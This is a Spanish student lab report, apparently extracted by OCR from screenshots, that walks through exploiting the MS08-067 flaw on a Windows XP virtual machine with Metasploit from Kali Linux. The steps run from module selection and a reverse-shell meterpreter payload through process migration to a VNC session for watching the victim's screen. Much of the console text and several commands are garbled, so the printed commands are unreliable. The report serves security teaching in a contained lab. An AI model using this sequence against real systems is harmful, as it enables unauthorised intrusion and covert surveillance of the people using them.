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INTRODUCCION

En el presente informe se documenta una vulnerabilidad del sistema operativo
Windows xp, el objetivo de este trabajo es demostrar como se puede explotar
dicha vulnerabilidad mediante un ataque desde una maquina con Kali Linux,
aprovechando una vulnerabilidad conocida se establecera una conexion
remota con el sistema implicado.

RESUMEN

Este informe presenta la explotacion de una vulnerabilidad en Windows xp
utilizando Kali Linux y la herramienta Metasploit, dentro de un entorno
controlado con maquinas virtuales.

OBJETIVO GENERAL

Demostrar el proceso de explotacion de una vulnerabilidad en el sistema
operativo windows xp utilizando herramientas de Kali Linux y Metasploit con
el proposito de entender el funcionamiento de los ataques a servicios de red.

OBIJETIVO ESPECIFICO

e |dentificar y documentar la vulnerabilidad presente en el sistema
operativo.

e Analizar el comportamiento del sistema vulnerable tras la explotacién y
evaluar los resultados obtenidos.

e Laimportancia de mantener los sistemas actualizados y aplicar buenas
practicas de seguridad para prevenir ataques.



Desarrollo

Ingresamos a Metasploitable en Kali linux

1. Abrimos nuestra herramienta metasploit mediante el comando msfconsole

SBeampkoil-

File Actions Edit View Help

the current environment with the s command,
rts will use this environment a

+ 2519 exploits - 1296 auxiliar

+ = 1610 payloads - 49 encoders - 13 no

. =[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms@8_067_netapi

Matching Modules

#  Name Disclosure Date Rank Check Description

o exploit/windows/smb/MSOSN0GZIREtapE 2008-10-28 \CH MS08-067 Microsoft Server Service Relative Path Stack
Corruption
1 \_ target: Automatic Targeting

[5)] 5oL = @&’ &) () [#] CTRL DERECHA

25°C - R P 9:26
Parc. nublado R Q Buscar & E - © _ (-] C? ‘{3 ﬂ A B RO

llustracion 1 msfconsole

Busqueda del Exploit

2. Utilizaremos un exploit que nos ayude a ingresar al sistema, para buscarlo debemos
utilizar el comando search ms08 067 _metapi

rruption

llustracion 2 search



3. En el siguiente paso nos aparecera exploit/windows/smb/ms08 067 _netapi lo
copiamos.

File Actions Edit View Help
" Name Disclosure Date Rank Check Description

[CBexploit/windows/smb/ms ¢ € etap 2008-10-28 Yes MS08-067 Microsoft Server Service

Corruption

- Traditional / Taiwan (NX) .
Simplified (NX)
Traditional (NX)

NX)
(NX)

Ilustracion 3

Como ingresar en el exploit

4. El exploit que copiamos lo vamos a pegar con el comando use
exploit/windows/smb/ms08_067_netapi con este comando estaremos dentro del
exploit.

Interact with a module by name or index. For example info 82, use 82 or use explo

After interacting with a module you can manually set a TARGET with set TARGE

msf6 > use exploit/windows/smb/ms@8 067 netapi
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msfb exploit( ) > set payload windows/meterpreter/reverse_tcp_allports

llustracion 4 use

Seleccion del payload

5. Estando dentro del exploit vamos a colocar el payload con el comando set payload
windows/meterpreter/reverse_tcp_allportes con este comando estamos indicando
cual es el codigo que vamos a enviar al equipo que queremos ingresar.



No payload configured, defaulting to windows/meterpreter/reverse tcp
mst6 exploit( ) > set payload windows/meterpreter/reverse tcp allports

payload = windows/meterpreter/reverse _tcp allports
msf6 exploit( ) >
msf6 exploit( ) >

llustracion 5 payload

Parametros del modulo seleccionado

6. En este paso usamos el comando options y se nos abre un modulo donde nos
muestra todos los parametros necesarios para poder ejecutar el exploit.

llustracion 6 options

RHOSTS, LHOST Y LPORT

7. RHOSTS es donde vamos a colocar la direccién ip de equipo que vamos a atacar
mediante el comando set RHOSTS 192.192.0.8 LHOST es donde vamos a colocar
la direccidn ip del equipo atacante mediante el comando set HOST 192.192.0.5 Y
en el LPORT vamos a poner set LPORT 445 que es por el puerto donde esta la
vulnerabilidad.



msf6 exploit( i3
msf6 exploit( ) > set RHOSTS 192.192.0.8
RHOSTS = 192.192.0.8

msf6 exploit( ) > set LHOST 192.192.0.5
LHOST = 192.192.0.5

msf6 exploit( ) > set LPORT 445

LPORT = 445

llustracion 7 RHOSTS LHOST LPORT

Explotacién del equipo victima

8. En el siguiente paso agregamos el comando exploit asi explotaremos la
vulnerabilidad de equipo.

msf6 exploit(

msf6 exploit( set RHOSTS 192.192.0.8
= 192.192.0.8

msf6 exploit( set LHOST 192.192.0.5

LHOST = 192.192.0.5

msf6 exploit( set LPORT 445

LPORT = 445

msf6 exploit( exploit

Ilustracion 8 explotacion

9. Al cargar veremos que ya estamos dentro del equipo que estamos atacando, usamos
el comando Is para comprobar.

kali@iealiz ~

get: Windows XP SP3 Spanish (NX)
r the vulnerability
bytes) to 2.0.
opened (192 51445 — 192.192.0.8:1091) at 2025-09-02 20:02:32 -0400

Type ifi Name

fil . 7-26 $winnt$.inf
dir

dir
dir
dir

dir

dir

dir

dir

fil

fil

dir

dir

dir

dir

fil .dll
fil 0 H : AUTOEXEC.
fil 7-26 B Y CONFIG.NT

llustracion 9 meterpreter



10. Luego usamos el comando sysinfo y nos mostrara que ya estamos dentro de
Windows XP.

100666/ rw-rw-rw- 764416 il 2008-04-14 08:00:00 -0400 xpsp3res.dl
100666/ rw-rw-rw- 340480 fil 2008-04-14 08:00:00 -0400 zipfldr.dll

meterpreter >

meterpreter >

meterpreter >

meterpreter > sysinfo

Computer i WAY

0s : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86

System Language : es_ES

Domain : GRUPO_TRABAJO
Logged On Users : 2

Meterpreter : x86/windows
meterpreter >

meterpreter >

llustracion 10 sysinfo

Migracién de Ataque

11. Lo que aremos en el siguiente paso es que migraremos el proceso del ataque a un
proceso que tenga la autorizacion del sistema, con el comando ps nos apareceran
una lista de proceso.

meterpreter > ps

Process List

PPID Name Session User

[System Process]
System
cmd. exe
explorer.exe
SMSS.exe
ctfmon.exe
CSrss.exe

600 winlogon.exe

644 services.exe

656 1sass.exe

816 svchost.exe

NT AUTHORITY\SYSTEM

WAY\admin2 C:\WINDOWS\system32\cmd.exe
WAY\admin2 C:\WINDOWS\Explorer.EXE

NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
WAY\admin2 C:\WINDOWS\system32\ctfmon.exe

NT AUTHORITY\SYSTEM \ 72 \C:\WINDOWS\system32\csrss.exe
NT AUTHORITY\SYSTEM \72\C: \WINDOWS\system32\winlogon.exe
NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe

NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe

A LIND o S od 0 XlaTa) o bo ova

A

0
0
0
0
0
0
0
0
0
0
0

llustracion 11 process list
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12. Para migrarlo necesitaremos el codigo del sistema, entonces ponemos el siguiente
comando con el cddigo de sistema migrate 1336

meterpreter :
meterpreter :
meterpreter :
meterpreter :

meterpreter :

meterpreter > migrate 1336
Migrating from 984 to 1336 ...
Migration completed successfully.

llustracion 12 migrar

13. Para finalizar el proceso utilizamos el comando run nvc con esto conseguiremos que
se nos abra una interfaz DNS por la cual nosotros podemos ver todo lo que las
personas esta haciendo en su ordenador en tiempo real.

NemPp

File Actions Edit View Help
ing from 988 to
ion completed s

tcp stager: LHOST=192.192.0.5 LPORT=4545

stager e 5
Uploaded the C \ S\ ZVNV. (must be deleted manually)
Executing the VNC ant with endpoint 19 g
meterpreter > VNC on 2 opened (192.192 45 = 192.192.0.8:1049) at 2025-09-02 22:13:58 -0400
Connected to RFB ser tocol version 3.8
Enabling TightVNC pr
No authentication ne
Authentication success
Desktop name "way"
default format
r pixel.
significant byte first in each pixel
olour: max red 255 green 255 blue , shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
past significant t in each pi»
een 255 blue shift red 16 green 8 blue 0
encoding

meterpreter >

llustracion 13 run nvc
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14.Y asi finaliza el ataque a Windows xp.

i!i D & R 0O

W Red
Abaptador b el PROVIGOD T Sevver (Red NAT

llustracién 14 equipo atacante / equipo victima
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Conclusion

A través de este ejercicio se demostro como una vulnerabilidad en el sistema
operativo Windows XP puede ser explotada mediante el uso de herramientas
como Metasploit en Kali Linux La explotacion del servicio vulnerable permitio
establecer una conexion remota con el sistema afectado.



